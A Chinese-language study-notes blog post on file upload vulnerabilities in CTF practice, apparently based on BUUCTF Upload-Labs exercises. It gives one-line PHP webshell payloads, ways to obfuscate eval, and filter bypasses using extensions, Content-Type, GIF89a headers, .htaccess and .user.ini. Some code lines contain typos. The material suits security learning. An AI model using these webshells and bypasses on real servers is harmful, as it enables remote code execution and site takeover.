赞
踩
这个星期正式学习了一下文件上传漏洞,虽然之前也有接触过这样的题目,但还是云里雾里的感觉。现在应该可以不靠题解完完全全靠自己的脑子做一些简单的题目啦。接下来就让我浅浅总结一下吧。
目录
对于上传的文件没有严格的格式要求,过滤和检测,导致上传的文件可以是木马,病毒,恶意脚本或者WebShell等恶意语句。
一句话木马就是功能简单的Webshell
WebShelI其实就是一张网页,一般由asp、aspx、php、jsp、jspx 等这类Web应用程序语言开发。与正常网页不同的是,WebShell 一般会具备文件管理、端口扫描、提权、获取系统信息等功能,这一类较完整功能的WebShell, 我们一般称为大马。功能简易的Webshell 称为一句话木马或小马。
<?php @eval($_POST['a'];?>
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
在CTF中的文件上传漏洞题我们在成功上传一句话木马后用蚁剑连接网站,获取flag
1.上传的一句话木马中函数要为代码执行函数(如 eval/assert)
2.传参方式要选择POST或者REQUEST,不可以用GET
3.连接密码为[]中的内容
4.上传的一句话木马文件要被解析
5.连接的网址要是上传文件的地址(常见的地址有"upload/1.php,uploads/1.php,/1.php")
通过文件上传上传可执行脚本,然后通过命令执行脚本获取信息
<?php @eval($_POST['wmm']);?>
第一步,将一句话木马写入记事本,保存为php文件
第二步,将文件上传
第三步,找到文件上传的地址用蚁剑连接
CTF相关文件上传的题目大概步骤都是:成功上传一句话木马->蚁剑连接->得到flag,但是题目中还会有各种绕过
特点
上传文件后一般会回显上传文件不符合条件,而且没有流量
解决办法
关闭页面js
以火狐为例:检查->...->设置->禁用JavaScript
示例
BUUCTF Upload-Labs-Linux Pass-01
特点
上传文件后一般会回显上传文件不符合条件,而且有流量
黑名单(关键字过滤)
1.用php3/php5/phtml代替php
2.看情况使用大小写绕过
3.看情况使用双写pphphp
白名单
一般配合其他漏洞使用,如中间件解析漏洞,文件包含漏洞,变量覆盖等
示例
BUUCTF Upload-Labs-Linux Pass-03
特点
修改后缀后还是显示文件格式错误,页面有流量
解决方法
抓包修改Content-Type类型为image/jpeg,image/png等,可以通过页面回显要求的文件修改相应的值,可以在"phpstudy\Extensions\Apache2.4.39\conf\mime.types"下查看
示例
BUUCTF Upload-Labs-Linux Pass-02
第一步,尝试上传一句话木马,多次修改后缀后发现任然无法上传
第二步,抓包,修改Concent-Type的值为image/jpeg后发现上传成功
第三步,访问上传图片的页面查看源码发现什么都没有,被解析了,表示上传成功,用蚁剑连接得到flag
原理
后端会检测上传文件的内容而图片格式检查文件内容是通过检查文件开头的一段二进制,所以我们可以通过在一句话木马前加上图片的文件头达到绕过的目的。
常见的文件幻术(GIF89a)
JPG: FF D8 FF EO 00 10 4A 46 49 46.
GIF:47 49 46 3839 61(GIF89a).
PNG:89 50 4E 47
示例
GIF89a <?php @eval($_POST['a'];?>
- 用'<?'在短标签开启的前提下代替'<?php'
- <script language='php'>代替
- <?php @eval($_POST['a'];?>
- <script language='php'>eval($_POST['a'];</script>
- 代替代码执行函数(assert)
- 拼接 $a=ev;$b=al;$a.$b($_POST['a']);
- 动态传参,$_GET[x]($_POST['a']);
用$_REQUSET代替
- []/{}/['']
- ;若是最后一句可以没有(既有?>可无:)
- ?>若是有;可以没有
- SetHandler application/x-httpd-php
- 加了文件头需要换行
- GIF89a
- SetHandler application/x-httpd-php
使用方法
先上传.htaccess文件后上传一句话木马,要上传在同一文件夹下
适用对象
Apache/Openresty
作用
简单的说就是帮助上传文件被解析
- auto_prepend_file ; 指定一个文件,自动包含在要执行的文件后。
- auto_prepend_file=2.jpg(上传文件名)
- 加了文件头要换行
- GIF89a
- auto_prepend_file=2.jpg
使用方法
先上传.user.ini文件,后上传与.user.ini内提到文件同名的文件
适用对象
Apache/Openresty/nginx/apache/IIS(只要是以fastcgi运行的php都可以用这个方法)
作用
和.htaccess的作用相似,帮助上传文件解析
第一步,上传文件发现要求image,修改后缀没有用
第二步,修改Content-Yype为image/jpeg,回显"<?"被过滤了
第三步,用"<sctipt language='php'>代替,得到回显表示检测到文件不是图片
第四步,加上文件幻术头"GIF89a",上传成功
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。